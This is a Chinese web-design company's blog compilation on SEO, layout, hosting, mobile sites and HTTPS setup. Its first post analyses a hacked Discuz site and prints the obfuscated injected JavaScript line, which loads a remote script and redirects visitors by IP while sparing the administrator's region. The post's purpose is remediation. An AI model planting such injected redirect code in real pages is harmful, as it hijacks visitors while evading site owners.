web-design

唯一设计提供法拉盛地区大小商家：印刷，网站设计，网站开发，广告设计，网站推广，一系列服务，欢迎合作！

是否遇到过你的网站打开一会就自动跳转到其他页面，而且这个问题是你的用户告诉你的，而你自己却没有遇到?

 

经过我细心的对挂马网站做排查，终于让我找到了问题所在。

挂马者是通过在discuz的头部js文件里面添加了劫持js代码，通过判断访问者的IP来实现不同跳转的。

具体代码如下：

document.write(“<\163″+”cript src=’http://\141″+”d.\172″+”om”+”12\63″+”.n”+”et/i”+”p.asp?l”+”oc=chengdu’><\/s”+”cript>”);

可以看出，后面有个“chengdu”代码，这段代码的意思就是IP为成都地区的访问者在访问被挂马页面时不做跳转。其余地区的IP访问者则跳转。

从这段代码我们就可以看出挂马者是多么的用心险恶。

他首先根据你网站所在地进行判断网站管理员经常使用的IP地址所在地，然后有针对性的对网站管理员不做跳转劫持。

所以，这种劫持的情况下，网站管理者非常难以发现到网站被挂马了。

解决办法也比较简单：

首先校验下原始文件，对比下哪些js文件近期有被改动过，然后针对被改动过的js文件做以上代码段的排除。找到以上代码段后，删除即可。

最后说一下，各位网站管理者一定要注意保管好网站和服务器的管理密码，尽量设置的复杂一点。同时也要及时检测服务器是否存在漏洞等，及时做针对性处理，以避免类似的事情再发生。

唯一设计提供法拉盛地区大小商家：印刷，网站设计，网站开发，广告设计，网站推广，一系列服务，欢迎合作！

定制网站听着很美丽也很高端大气上档次：完全按照用户的“意图”去做网站，你需要什么样的网站，我就能做出什么样的网站……不能否认，定制网站在技术上也许很牛，但是，真的能满足用户网站的真实需求吗?

定制网站最大的卖点就是“原创”，无论是作为企业还是个人的网站，想要在互联网上与众不同，只有“定制”华山一条路，其他的模式很容易和别的网站“撞衫”，“撞衫”的网站是没有前途的。而唯独定制，永远不会出现撞衫现象，这个看起来的确很美好，事实上也是如此，但是，一分价钱一分货，定制网站也是要讲规则的，只有懂得人才不能让用户失望。

 　　我们举个例子，从网站内容更新来说，在网站内容更新中，同样存在这样的“伪命题”，网站内容的三个来源：原创、伪原创、转载。哪一个更好呢?很多站长都会迷信于原创。原创同样看起来很不错，但是，原创的目的是什么?如果说出真相，你一定会很无奈，原创的真实目的是能够让搜索引擎收录，然后增加访问量。而对原创的要求却low到底，只要是手动打字出来的文章，水平低到小学三年级也无所谓。低质量的原创和高质量伪原创PK，其实前者远远不如后者牛，因为，光想着照顾机器的体验，怎么能对网站访问用户体验无动于衷呢?

定制网站同样存在这样的误区，只要是定制就一定好吗?尤其是哪些一味迎合用户“需求”的网站建设公司，首页加载个动态图片是吧?可以。需要一套办公程序是吧?没有问题。这里还有加上一张老板宠物的图片?这，也行……这些要求有合理的，同时也有多余的，怎么办?是一味迁就，还是给用户指点迷津，哪怕是错过个这个大单也无所谓，真的有这样的勇气吗?

站在网站建设和优化的角度来说，网站建设公司永远比用户懂得更多，最少他们懂得怎样的网站搜索引擎会喜欢，怎样的网页设计有着不错的用户体验，怎样的网站层次逻辑，符合互联网的套路……如果把这些丢失了，如果不站在这些立场去考虑这个网站怎么做，这其实是在做“一刀子”买卖。最初的用户也许什么都不知道，就算知道也不过是一知半解，就是因为如此，网站建设过程中，可以隐瞒很多问题，这样做真的对吗?

 　　福特汽车创始人亨利.福特曾经说过：“如果听用户的，我们根本造不出汽车来，用户就是需要一匹快马。”在网站设计过程中，只顾及到客户的需求，而忽视了网站的功能和互联网的规则，做出的网站也许只是一个花瓶而已，根本达不到客户所预期的那样，没有争议的网站，是不完美的。

对于网站建设公司来说，要分清用户需求和作为产品网站的需求，二者是不一样的，用户经常提出的需求，从他们角度而言都是正确的，但更多是从自身情况考虑，对于网站的某个功能有自己的期望，但对网站定位、设计的依据等情况不了解，他们的建议也许并不是该网站功能的最好实现方式，也就不足以直接作为产品规划的直接依据。

微信之父张小龙说，一款好的产品，一定是迎合人性的。把握人性是一款产品很重要的一个环节，知道用户内心最需要什么，才能真正做出让用户喜欢的产品。定制网站本身就站在网站建设的最高点，和模板建站、免费建站比较，定制网站价格、功能、设计上都要有着较高的要求，而且用户投入的成本也相对较高。“任何网站存在的意义都是要创造价值的!”如果站在这个角度思考问题，这样的定制网站才能发挥最大作用，被赋予“高大上”才能名至所归。否则，就是挂着羊头卖狗肉!

唯一设计提供法拉盛地区大小商家：印刷，网站设计，网站开发，广告设计，网站推广，一系列服务，欢迎合作！

一、避免产品同质化

众所周知，很多私人站长通过软件编程技术自己做网站，因此建站的可模仿性极强。网络上现在有很多的模板建站，花型稍作修改或形状略加改动就可以堂而皇之的进入网络市场，正是建站行业的产品同质化直接导致了建站公司在价格上形成了恶性竞争。加之，目前消费者对品牌网站建设产品的认识尚处于感性阶段，对产品的真伪还很难凭直觉加以辨别，更加剧了产品同质化现象的蔓延。

犀牛云移动云网站基于“云+端”的信息技术架构，开发出了犀牛云创意工具箱，帮助企业创建PC云网站、手机云网站、APP云网站和微信云网站。企业用户能够运用犀牛云创意工具箱随心所欲地调整网站的任一板块的构架或者内容，均能有效地避免产品同质化的问题。

二、注重塑造企业品牌

这几年来，品牌网站建设行业的经营模式已经发生了根本性的改变，即从批发转为品牌化经营。众多品牌网站建设企业纷纷注册了自己的品牌，并围绕品牌建设采取了一系列的动作。但是，大多数品牌在塑造过程中一味追求外在视觉表现，而忽视了内在的文化内涵和独特个性，致使品牌空心化现象的普遍存在，给人千篇一律的感觉。

同质化现象使品牌不能有效的形成鲜明的个性定位，最终成为过眼烟云，无法真正占据消费者的心智。犀牛云移动云网站认为，网站不仅仅是企业的第一营销窗口，更重要的是能够在第一时间内将企业的品牌内涵传递给访客。因此，犀牛云在为企业创建网站前全面分析企业，为企业找准定位，融合企业的品牌精髓于网站建设的每一个细节之中，让网站无处不传递着企业的品牌信息，从整体上塑造企业品牌。

三、打造特立独行的销售渠道

品牌网站建设行业的竞争程度与日俱增，不少品牌网站建设公司与个人开始试水新的销售渠道，比如邮箱、微博、微信等。但从目前的销售态势来看，品牌网站建设的销售渠道依然集中于网站和介绍等传统形式。渠道的狭隘性与同质化，导致了众多品牌狭路相逢，短兵相接，渠道战、终端战、价格战等一浪高过一浪，致使批发、专卖和商场专柜等传统渠道已经呈现出运营成本不断上升，以及利润空间不断萎缩的趋势，甚至是遭遇生存危机。

犀牛云领先开拓PC网站以外的手机网站、微信网站和APP网站市场，为企业打造出多终端营销平台，助企业形成特立独行的销售渠道，突破销售渠道同质化的桎梏。与此同时，多终端建站，也有利于企业从多个角度来塑造品牌，打造出自己的专属销售渠道。

品牌网站建设行业的同质化竞争已经是不得不面对的现实了，要想跳出同质化和雷同化的桎梏，企业建站就要有创新意识，融合企业的特色于建站过程之中。犀牛云移动云网站从准确定位企业的角度打造独具特色的企业网站，凸显企业的核心竞争力，为企业突破同质化竞争助上一臂之力。

唯一设计提供法拉盛地区大小商家：网站设计，网站开发，广告设计，网站推广，一系列服务，欢迎合作！

什么是「F 型扫视」？

「F 型扫视」是界面阅读最常见的一种扫视模式，在有很多内容板块的界面上非常实用。「F」也可以被理解为「Fast」。大多数人阅读界面内容时，都采用了「F 型扫视」模式——只需要几秒，就可以快速将页面扫完。

「F 型扫视」最早是由尼尔森诺曼集团（NNGroup）通过眼球追踪实验提出的，该项实验记录了 200 多名用户阅读上千个网页的数据。实验结果发现，用户的阅读习惯相当一致，即便是在不同站点和不同阅读任务的前提下。实验对象的阅读轨迹看似像字母「F」，并包括以下 3 个部分：

 

人们首先会横向阅读，通常扫视范围仅停留在页面顶端部分。这一轨迹形成了字母「F」的第一横。

紧接着，我们会顺着页面左端纵向阅读。我们的阅读重点仅停留在段首其感兴趣的部分。发现感兴趣的内容后，我们会再次横向阅读，不过这次横向阅读的范围通常较第一次小。这一轨迹形成了字母「F」的第二横。

最后，我们会再次顺着页面左端纵向阅读。

在下面这张图，红色区域是人们的核心阅读重点，黄色区域是次阅读重点，紧接着是相对关注较少的蓝色区域，而灰色区域基本不受用户关注。可以看出，我们浏览网页基本构成了 F 型。

 

通过热度图，尼尔森诺曼集团揭示了眼球追踪实验是如何发现用户阅读轨迹的（本处用户特指阅读习惯为从左至右的用户）。

很明显，我们的扫视模式并不只包含 3 个部分。当我们发现其感兴趣的内容后，就会重点阅读该部分，从而形成相应的横向阅读轨迹。

为什么用「F 型扫视」

通过「F 型扫视」模式，更容易体现出良好的视觉层次，从而方便用户了解界面内容。对大多数西方用户来讲，「F 型扫视」模式是非常舒适的，因为他们的阅读习惯一直以来都是从上到下、从左至右的。

注：作者之所以提及西方用户的阅读习惯，是因为有些（东方）国家或地区用户的书写和阅读习惯是从右至左的。在有些国家和文化中，书写习惯甚至以竖写为主，相应阅读习惯也稍显不同。由于中文的书写和阅读习惯并不特别，所以本文所讲的「F 型扫视」仍可以适用。

什么时候用「F 型扫视」最舒服？

针对有大量文本的网站，比如博客或新闻站点，「F 型扫视」模式是再好不过的选择。

在内容过多（特别是文本过多）的情况下，若页面布局是根据自然扫视模式（即「F 型扫视」）来设计的，用户反馈会更好。

056eff5ccf9f5ed857d544e44b80e936

CNN 首页也使用了「F 型扫视」模式

网页应该怎样用「F 型扫视」？

借助「F 型扫视」模式，设计师在页面内容选题方面有更多的「话事权」。

1. 按重要性对内容排序

在设计规划页面元素时，一定要按重要性对各项内容进行排序。通过排序，你可以清楚地知道你最想让用户阅读的内容。这样一来，你只需要将这些内容放在页面的「热点」区域即可。

2. 设置预定期望

整个页面最开始的一两段是非常重要的。尽可能将重要内容放置在页面顶端，从而可以在短时间内让人们知道网站（或页面）是用来做什么的。

根据「F 型扫视」模式，我们通常会横向阅读页面顶端。因此，在顶端区域设计一个导航栏是个不错的选择。

502d6316ff04515c6a5c370002375542

用户扫视页面最重要的内容只需要几秒钟。图片来源：tutsplus

3. 设计要方便扫读，而不是阅读

设计页面布局时，要从用户角度出发。顺着「F 型扫视」的阅读轨迹，将人们最感兴趣的内容按重要性放置于相应区域：

段首用词一定要足够吸引用户眼球。

用户首先会阅读最突出的内容（即最具视觉重量的内容）。因此，一定要凸显重要内容的视觉重量。可以通过字体排版来体现文本的重要性，比如高亮文本关键词；也可以通过各种颜色突显某些按钮。

每个段落只覆盖一个观点，并尽可能多地使用项目符号（即本条左边的小黑圆点）。

将最重要的内容（比如行为召唤相关的内容）放置在页面左右两端，这也是用户横向扫视的起始两端。当他们继续往下扫视至下一横向内容时，刚好有几秒时间，可以让他们稍作思考。

4. 好好利用工具栏

工具栏可以让人们进一步参与交互，好好利用工具栏，可以进一步提高用户参与度。

让希望用户点击的任何元素显得更有特色，尽管它可能和页面主要内容「迥然不同」，比如广告，相关文章列表，社交媒体小组件等等。

把它定义为用户寻找特定内容（比如目录列表，标签群，热门文章小组件等等）的工具。

a608cbc518b2b25e6e9c4c5c57786b72

Medium 在工具栏中加入了二级导航

5. 避免视觉疲劳

「F 型扫视」模式最大的缺点，是可能存在的视觉疲劳。要让用户觉得无聊，其实并不难，比如在页面加入重复和相似的内容。如果用户真觉得无聊了，那你也不会得到什么好处。所以，不妨试试在人们扫视范围内加入「出人意料」的元素，从而保持用户的参与度。

这个「打破预期」的页面布局技巧，在有长篇幅内容的页面上特别适用。试想，如果人们浏览类似页面时，尽是沉闷或无聊的内容，那他们很快就会「想吐」……

下图页面的上半部分，页面的任务宣言（即图中 This is a headline … 该句）置于页面顶端，可以在短时间内向用户传达该页面的功能。

此外，将页面拆分为左右两栏——左栏为主要信息，右栏为辅助信息（工具栏），可以进一步保持用户的参与度。

24b4d589463475826be3e27fc69f9e85

图片来源：tutsplus

整个界面布局设计简单，但核心元素都体现了出来。人们打开页面，能够清晰了解页面主要功能，工具栏中也有目录列表导航，用户也可以直观地看到相关内容。

通过页面左端方形卡片和引人注目的标题，可以吸引用户关注。尽管用户可能对这些内容不感兴趣，但至少发现有趣内容的机会是存在的。

顺着字母「F」的第二横，再加入一些「出人意料」的元素，比如图片或行为召唤相关的内容，从而进一步保持用户的参与度。

第一步：了解你的博客主题领域

这是你开设博客前必须要做的事，尽可能了解你博客主题的领域。

就我来说，从2008年起，我就开始写有关健身题材的文章了，我非常了解这个行业，所以我认为这个也是博客流量快速增长的主要原因之一。

当你产生写博客的念头后，打开浏览器，利用搜索引擎，先花大量时间了解这个主题在网上的情况。

看看这个领域谁是大佬，搜索引擎的第一页的内容(他们提供什么类型内容，更新频率，文章长度)，那些社交网站有关的内容是什么，等等。

你还可以利用搜索引擎或者相关分析工具，帮助你了解竞争对手的情况和主题有关的关键字、回链等情况。

　　第二步：关键字分析

好的博客从关键字分析开始，我知道你可能知道，但是我还想再提醒一次，你在关键字分析花的时间一定会有所回报。

还记得我上面提到健身行业的竞争有多激烈么?网上的竞争也是如此，当你进入高竞争行业时候，就不要浪费时间去研究那些热门的关键字了，这已经被大站点牢牢控制了。你要做的就是研究长尾关键字。

网上有许多关于长尾关键字的教程，就不在这里重复了，我只补充以下建议：

不要过多痴迷长尾关键字的数量，许多分析工具提供了许多相应的长尾关键字，在博客初期，你只要关注这些排名前面的长尾关键字就可以了。

通过逐步积累，你的博客越来越受到搜索引擎的关注并且排名不断提高。

　第三步： 制定文章发表计划并坚持执行

你想从搜索引擎获得流量，你需要有足够的内容，这个道理很简单。

特别是健身行业就需要更多的内容了。当开始写博客时候，你就要确定你能发表多少新文章，制定计划并坚持完成。

在启动博客那天我发表10篇文章，然后我设置了每周发表三篇的计划并坚持到现在。

不管刮风下雨，雷打不动每周三篇。如果你是认真的对待这个博客，这就是个应该完成的承诺。

每周发表多少文章取决于许多因素。你不能过于乐观设置太高的目标，另外一方面你也不要忘记，好的博客就是靠质量和数量建立的。

我的建议是每周至少三篇，另外还要参考你的竞争对手的情况，然后设定计划并完成。

第四步：创造高质量内容

在文章开头我就说博客内容的质量是关键因素。

而健康领域，文章的质量就更重要了。当你给他人的健康状况提建议的时候，你必须非常非常谨慎。

健康领域不像其他领域，可以通过经验积累成为专家。

仅仅热心了解营养和健身信息是远远不够的，你必须要成为专家(有证书的那种)，这样才能获得读者(或者这个行业的其他网站)的信任。

有三种选择：

成为专家，通过课程培训获得证书;

避免就有关健康问题提供意见，而是分享你的如何控制体重和健身等等的个人感受或经验;

雇佣一个专家。

博客开始的时候，我选择上述第二个方案开始，我一直热心于健身和健康生活，我有太多的个人故事可以和全世界分享。

不久，我的经验快耗尽时候，为了继续引起读者和其他同行关注，我必须需要比经验更多的内容，我需要认证专家来帮助分析营养学和健身相关的案例，我觉得采取第三个选择，雇佣一名认证专家。

这是一个艰难的决定，在博客还没有任何收益情况下先增加开支是个冒险的事情，但是我了解这个行业，了解健身人群的需要，我决定承担这个风险。

说到这，你可能有某种困惑，我想先澄清一下，我并没有建议你为了让你的博客主题内容更专业而去尝试雇佣一个专家。

我的意思是，你必须要了解你博客主题领域的游戏规则，然后尽可能创作高质量的文章内容。因为健身行业是专业性很强的领域，所以我在自身能力不足情况才采取雇员的方法。

其他建议：

仔细分析你的竞争对手，并创作更好的内容(包括文章主题、形式和长度)

使用案例研究并利用数据来支持你文章要表达的观点

不偏激，多从事件的正反两个方面进行分析。

不要尝试销售产品或服务，你最应该关注如何给读者创造价值。

　第五步：做好SEO(搜索引擎优化)

一旦你有好的内容后，下一步就是做好SEO。好的SEO会帮助你的文章吸引更多的关注和流量。

一般来说，SEO可以分三个部分：

技术上SEO: 主要是对博客网站技术层面的改善，包括索引、XML网站地图、URL链接模式以及其他技术能帮助搜索引擎更好读取你的博客。

在线网页SEO: 包括页面标题和描述，文字格式、图片seo、移动化友好度、访问速度等等帮助搜索引起更好了解你文章和页面的内容。

线下SEO: 这通常是指建立外链并尽量链接权限更高的行业网站。这样可以提高你的博客在搜索引擎的排名。

这些并没有看起来那么难，网上有许多SEO的教学内容，你可以设定一个计划，从基础开始慢慢学习，然后有经验了，你就能找到感觉了。

我就是从第一类技术层面的SEO开始慢慢学起来，边学边实践，然后开始对文章和页面进行优化，重点是标题和图片。

现在，每一个博主都知道外链对排名的重要性，在2012年开始写博客的时候，我也知道一点，但那一年，谷歌发布了新算法，并打击一些不好的外链行为。所以，我决定，不再考虑什么外链建设，只关注内容的建设，让外链自然发展。

对那些博客新手，我的建议是和我一样，不要刻意去关注外链，等博客超过六个月并且有大量好内容时候再考虑外链也不迟。

那时候，你也积累了不少SEO经验了，然后慢慢发展外链，不要走捷径，欲速不达。

　第六步：推广你的作品(除了社交媒体之外)

我们都知道通过社交媒体转载，文章可以快速传播，如果你愿意支付一点推广费用，效果可能会更好。

我也是从社交媒体开始吸收粉丝的，早期的效果远比现在要好。除了社交媒体以外，我还尝试许多方法推广我的博客，其中效果较好的有：

我把博客添加到chrome浏览器的应用商店，这是个不被发现的好资源，数以千计的读者从商店下载我的应用插件到浏览器，一有新文章发表便有提醒。我根本没想到有这么好的效果，所以说，很多事你没有尝试，你就不知道结果。很遗憾，2016年6月，应用商店改版不再提供这个功能。

我制作了博客的app并上传到谷歌、亚马逊和微软的应用商店，那时候几乎没有同类应用，所以也给我带来大量的流量。

我还给博客进行了第三方网上健康资格认证，虽然本身没有带来流量，但是给更多的读者带来了信心，这也很重要。

　第七步：不要忘记你的读者

一直到这里我们都是讨论内容和SEO的重要性，但是你绝对不能忽略读者的阅读体验。

首先是网站设计，要确保文章的易读性，另外还要提供让读者多次回访的内容。

我的做法是提供一系列免费工具(健康饮食计划、卡洛里计算器和统计表等等)帮助读者完成减肥和健身目标。

这些工具造成读者回访和社群的形成，另外，最重要的是还为我的邮件列表收集了大量的名单。

你也要根据自己博客的特点多考虑如何吸引并留住读者的方法。

有收益吗?

在文章开头我故意不提及有关博客收益以及我如何支付那些专家和其他费用，但是我知道如果你没有了解这些答案，你一定不会满意的。

从开设博客开始的几年里博客运营是亏损的!

我不感到奇怪，因为我一开始就做好承担这个风险的准备。

我深知，博客要想获利必须先有足够的流量，足够的流量必须先要有足够好的内容和工具。

这个博客是靠谷歌广告盈利的，最近四年的每年5位数的收入足够支付早期的开支并还有体面的盈余。

同时，我还尝试了其他获利途径，比如产品销售、推广佣金等等，最后还是觉得谷歌广告更好。因为只靠这一种方法，我不必为选择和测试各种产品、管理、销售和售后分心，我知道如果寻找营销公司和团队合作会带来更多收益，但是这会增添太多烦恼，所以我还是简单使用谷歌广告。

　总结

为了提醒坚持看到这里的读者不要忘记，我还是把要点归类帮助你应用到自己的博客或网站。

首先: 成功的博客没有什么秘方，我所知道的适用于各种主题领域博客的技巧如下：

创作更好的内容

做好在线网页 SEO

小心开展 线下SEO

坚持规律性创作

建立社群

耐心+勤奋

网站账户暂停这个现象主要出现在使用虚拟主机的网站，如果出现该问题，只需要快速找准产生这种现象的原因，然后找出相应的解决办法，就能够很快的消除该现象。下面网站运营小编就具体分析一下原因和解决问题的策略。

一、服务器资源超指标

在虚拟服务器中，内存与CPU等都有一定的限制，如果虚拟主机上装载的网站数量较多，或者网站上同时浏览的人数过多，就很容易引发系统崩溃导致的资源超标现象。对于这类问题的解决极为简单，迅速通过FTP将网站资料拷贝备份，然后选择一个新的高质量的网站空间来存储自己的网站。

二、网站流量突然异常

网站有时候为了积累人气，会开放一些灌水板块，提供用户在上面聊天，这个时候就会有其他广告发布软件乘虚而入，网站于是就很容易出现大量的垃圾广告信息，搜索引擎就会对这些信息抓取，从而引发极大的流量占用，最终导致网站瘫痪，导致被暂停。如要解决这类问题，那就在这种聊天页面设置一下Robots.txt，让搜素引擎不能够抓取，自然不会引起这样的问题。

三、网站遭遇了黑客的袭击

有些网站可能由于程序漏洞而遭遇黑客的袭击，有些网站或是因为管理不导致被黑客攻击，网站被挂了黑链，在这种局面下，服务商为了提升自己的服务品质，会立刻停止该账户的使用。对此作为被黑客攻击的网站需要立刻启动杀毒程序，删除木马程序，恢复网站正常功能，然后再向主机供应商提出申请，这个账户被暂停问题就能够得到解决。

四、网站空间域名没有及时续费

网站域名和空间不是永久的，如果超过使用的时限，这些空间和域名就会打不开，导致网站账户被暂停。如果在一个月之内迅速补充相关费用之后，就能够立刻解决这些问题。

随着智能手机越来越普遍，单纯依靠PC端远远满足不了用户需求。特别是企业如何在移动端牢牢把握住用户就可以在公司盈利和业务方面获得飞速增长。然而，移动网站建设就变得越来越重要。搭建移动网站满足公司业务需求，从而获得移动端流量，就变得迫在眉睫。

移动网站不用于其他类型APP，需要下载就可以使用。也不如PC端流量获得，因为移动端存在用户即来即走，如果网站不能满足用户对于服务的要求。下次就很难再回来，虽然移动网站搭建起来相对于PC端要复杂一些。然而，在移动端流量面前，相信很多企业都不会主动放弃这部分流量。那么，一个好的移动网站都需要具备哪些设计需求。下面，濮阳网站建设就谈谈移动网站建设设计要点。

 

1、移动网站页面设计

移动网站设计之前就要考虑移动设备的分辨率问题，这就是移动网站不同于PC端网站，移动网站建站对于页面要求很高。因此，在移动网站页面设计之前就需要合理安排网站内容和结构。做好网站页面布局和视觉体验，移动网站建设对于用户体验度提出更高要求，小小的屏幕包含的东西尽可量全面简介。只有，这样良好的用户体验，才能让网站在移动端获得好的排名。

2、移动网站导航设计

移动网站导航设计本人认为这种最难。难就难在，移动设备分辨率的局限性。在用户进入到首页之后，就需要很清晰导航结构，如果导航不清晰，用户很难进入到网站内部。因此，如何把PC端导航尽可能简单甚至浓缩到移动网站就变得很重要，本人认为导航尽量包含主要栏目和重要信息页足矣。

 

3、网站内容布局要直奔主题

移动端由于分辨率的问题，不可能做的跟PC端那么全面。这就需要把重要信息放在显眼的位置。最好别下滑到下一页面。尽可能让用户在首屏就找到用户想要的信息。这样减少用户下拉页面时间，也可以用户良好体验度。

4、移动网站加载问题

移动网站打开速度或者速率，都影响用户打开网站。如果网站打开过慢，甚至超过5秒用户打开率就迅速下降。因此，移动网站打开速率尽量保持在3秒之内，用户就很愿意在内容上面花费一定时间。因此，移动网站建设就尽量减少不必需要的图片甚至动画的使用。保证网站打开速度。

一、理解HTTPS

先不聊HTTP和HTTPS的区别，从聊天软件说起，假设我们要实现A能发一个hello消息给B，如果我们要实现这个聊天软件，只考虑安全性问题，要实现A发给B的hello消息包，即使被中间人拦截到了，也无法得知消息的内容。

 

 

那么，如何做到真正的安全呢?目标是A与B通信的内容，有且只有A和B有能力看到通信的真正内容，为了防止内容被第三方窃取，发送方可以通过密钥S对聊天内容进行加密，接收方在收到聊天内容之后，再用密钥S解密聊天内容，只要密钥不公开给第三者，同时密钥S足够安全，我们就可以保证只有A与B知道聊天内容。

 

 

　　二、HTTPS的优缺点

　　优点

SEO方面：谷歌曾在2014年8月份调整搜索引擎算法，并称“比起同等HTTP网站，采用HTTPS加密的网站在搜索结果中的排名将会更高”。

安全性：尽管HTTPS并非绝对安全，掌握根证书的机构、掌握加密算法的组织同样可以进行中间人形式的攻击，但HTTPS仍是现行架构下最安全的解决方案，主要有以下几个好处：

使用HTTPS协议可认证用户和服务器，确保数据发送到正确的客户机和服务器;

HTTPS协议是由SSL+HTTP协议构建的可进行加密传输、身份认证的网络协议，要比http协议安全，可防止数据在传输过程中不被窃取、改变，确保数据的完整性;

HTTPS是现行架构下最安全的解决方案，虽然不是绝对安全，但它大幅增加了中间人攻击的成本。

　缺点

SEO方面：据ACM CoNEXT数据显示，使用HTTPS协议会使页面的加载时间延长近50%，增加10%到20%的耗电，此外，HTTPS协议还会影响缓存，增加数据开销和功耗，甚至已有安全措施也会受到影响也会因此而受到影响。

经济方面：SSL证书需要钱，功能越强大的证书费用越高，个人网站、小网站没有必要一般不会用;

HTTPS连接缓存不如HTTP高效，大流量网站如非必要也不会采用，流量成本太高;

HTTPS连接服务器端资源占用高很多，支持访客稍多的网站需要投入更大的成本，如果全部采用HTTPS，基于大部分计算资源闲置的假设的VPS的平均成本会上去;

HTTPS协议握手阶段比较费时，对网站的相应速度有负面影响，如非必要，没有理由牺牲用户体验。

　　三、支持HTTPS的方式

增加HTTPS的支持需要在nginx或者tomcat上增加证书(证书需要ops来购买)，两种方法只需要选用其中一种。我们选择了通过nginx配置证书的方式来做HTTPS支持的事情。原因是这种方式可以通过ops统一配置证书，不需要在每台服务器上依次配置HTTPS证书，能提升配置效率。

通过tomcat配置证书

在开发环境里时，需要自己来生成证书：1、生成证书;2、找到java的目录;3、生成一个证书。

keytool -v-genkey -alias tomcat -keyalg RSA -keystore ~/keystore

记住生成证书时的密码

在tomcat的conf/server.xml 配置里增加connector

譬如，我的是server.xml

 

maxThreads=”150″ minSpareThreads=”25″ maxSpareThreads=”75″

enableLookups=”true” disableUploadTimeout=”true”

acceptCount=”100″ debug=”0″ scheme=”https” secure=”true”

clientAuth=”false” sslProtocol=”TLS”

keystorePass=”121212″ —- 这个是您当时的密码

SSLEnabled=”true”

keystoreFile=”/home/q/keystore” — 这个您第二步时，生成证书的地址

/>

使用这种方法，直接用request.getSchmeme()能够看到https

通过nginx配置证书

在已经购买好证书的前提下，可以通过以下方式配置证书。

nginx配置

server {

listen 443;

server_name dujia.qunar.com;

charset utf8;

gzip off;

ssl on;

ssl_certificate/home/q/nginx/ssl/server.crt;

ssl_certificate_key/home/q/nginx/ssl/server.key;

if ( $request_method !~ GET|POST|HEAD ) {

return 403;

}

proxy_set_header Host “dujia.qunar.com”;

proxy_set_header X-Real-IP$remote_addr;

proxy_set_header X-Forwarded-For$proxy_add_x_forwarded_for;

proxy_set_header dj-sch “https”;

proxy_set_header X-Real-Scheme $scheme;

location / {

proxy_pass http://127.0.0.1:80;

#proxy_pass http://p.tuan.qunar.com;

}

}

在java中通过X-Real-Scheme或dj-sch获取当前协议

SchemeUtil.java

private static String HTTPS_HEADER = “X-Real-Scheme”;

private static String HTTPS_SCHEME = “https”;

private static String HTTP_SCHEME = “http”;

public static String getScheme(HttpServletRequest request){

String scheme = request.getHeader(HTTPS_HEADER);

if(scheme != null &&scheme.equals(HTTPS_SCHEME)){

return HTTPS_SCHEME;

}else {

return HTTP_SCHEME;

}

}

四、代码涉及的改动

页面请求的静态资源

js && css

后台将jsp中域名为http://*.quanrzz.com 的js,css链接改为 //*.qunarzz.com

将jsp和java工程中给出的图片url进行修改(原因是当前实用的图片服务器不能同时支持http和https)，图片的http和https域名对应关系如下：

 

接口

内部接口：修改接口返回的url，统一格式为：//xxx.xx.xx/;

图片url会根据服务请求端的协议做自适应，比如：用户以https协议请求服务，接口返回的图片url对应的协议也是https。图片url不以“//xxx.xx.xx/”形式返回的原因是android和ios默认不支持展示不带协议的图片。

外部接口：当调用其他业务线的一些接口不支持https时，我们的处理方式是通过代理接口来调用这些外部接口。

大多数的网站都有联系我们这个界面，这个联系导航栏，一般都排在最后，也有的网站直接放在导航第一位，在关键词的使用上，大部分都是这样的描述”联系我们“，只是位置上有点差异，要么在上面，要么在下面，要么在左面，要么在右面，有没有在中间的呢?好像也有，那就是漂浮的广告，用户体验很差，现在基本绝迹了。

做好联系我们有什么好处呢?在搜索引擎输入关键词“联系我们”，你会发现，就是这简单的四个词，竟然也有别有用心的人做到了首页，为什么一些网站这个页面被搜索引擎收录，原因很简单，很多用户在访问某个网站，对该网站提供的产品或者服务产生浓厚兴趣的时候，他就会寻找联系方式，很多网站除了主页之外，联系我们这个二级域名访问量不可小视。

 

 

在网站设计上，如何把这个页面设计的更精彩一些呢?魅族手机官网是这样做的，在联系我们这个网页中，加入了客服服务电话邮箱、媒体垂询、公关传播邮箱地址、国内市场合作邮箱地址和电话、产品开发合作邮箱、知识产权邮箱、人才加盟邮箱地址、国际合作伙伴联系方式、在最后还加上了反商业贿赂的举报邮箱……几乎将企业的所有部门都汇总在一起，这么做的好处是，一个网页，就像一个通讯薄，完全解决了沟通的问题。

一家房地产交易网站的联系方式做的更过分了，这家全国连锁经营的房地产交易公司，在联系我们这个界面，把公司在全国各地主要城市的地址、邮编、电话、传真全部放在一个网页内，然后汇总起来“联系我们”，这样做是不是很强大，简直就是翻版的黄页网站，而且竟然排名到了搜索引擎首页。

看过这两家企业，对于联系我们这个网页设计，是不是觉得不那么简单了，联系我们就是给用户联系方式，有的网站甚至把联系我们和关于我们混为一谈，还有的企业在联系我们这个网页界面把企业介绍写入其中，还有的网站……

 

 

做好这个网页界面的设计，其实很简单，只要把联系方式写全了就完事了，当然，还需要一个精妙的设计，关于联系我们界面，具体汇总起来，应该这样做：

　　简化联系表格

重要的联络信息，不过是电话、QQ、二维码、邮箱而已，那么，可以把这几个联络方式以图片的方式放在中间，用户看到了会一目了然。

　　添加地图标注

大多数网站都是有实体店的，而且真正做成生意的企业网站，客户一般都要去拜访一次，通过实际观察来考虑是否合作，一个公司的地理位置在商务交往中往往扮演着重要的角色。加入嵌入式地图则把企业地址可视化。谷歌地图有一个自定义的嵌入功能，允许开发者添加全功能的谷歌地图到联系页面。

　　添加社交网站链接

玩过微信朋友圈的人都知道，看到一个不错的文章、图片可以通过一键转发功能发给朋友圈的朋友，也可以自己转发一下。那么，在社交媒体时代，联系我们也应该有这样一键转发的设计，这些链接可供浏览者在无法或者不宜使用电话、邮件的情况下联系企业，并且可以浏览企业更多动态信息。最好能在同一页上提供不同的社交账号链接，让浏览者决定选择哪一个。

　　展示团队成员

其实这有点多余，不过从网页设计整体美观上来说，给联系我们加上一点底色，效果更好一些，图片选择就不要山山水水，花花草草了，把企业团队展示出来，可以起到相得益彰的效果。

在网站的运营过程中，不仅仅是各方面运营正常就万事大吉的，随着用户的不断点击，网站的点击量也在与日俱增，大家都知道，对于网站，前期的网站建设固然重要，但是重点是网站建设成功之后，后续对于网站在运营过程中的维护以及优化，只有网站维护到位，网站定期优化，这样才能保证网站一直正常的运营下去。

网站优化的重点

对于一个正在正常运营的网站来讲，定期的SEO优化是非常有必要的，而且如果想要保证SEO优化对网站优化起到完美的优化结果，那么网站在建设初期所使用的服务器便成了关键。要知道SEO优化属于软件优化，而想要软件优化的结果更好的呈现出来，那就必须有很好的硬件作为支撑，如果没有硬件进行支撑，那么再好的SEO优化都达不到想要的结果，笔者通过以下几个方面教你如何选择优质而稳定的服务器。。
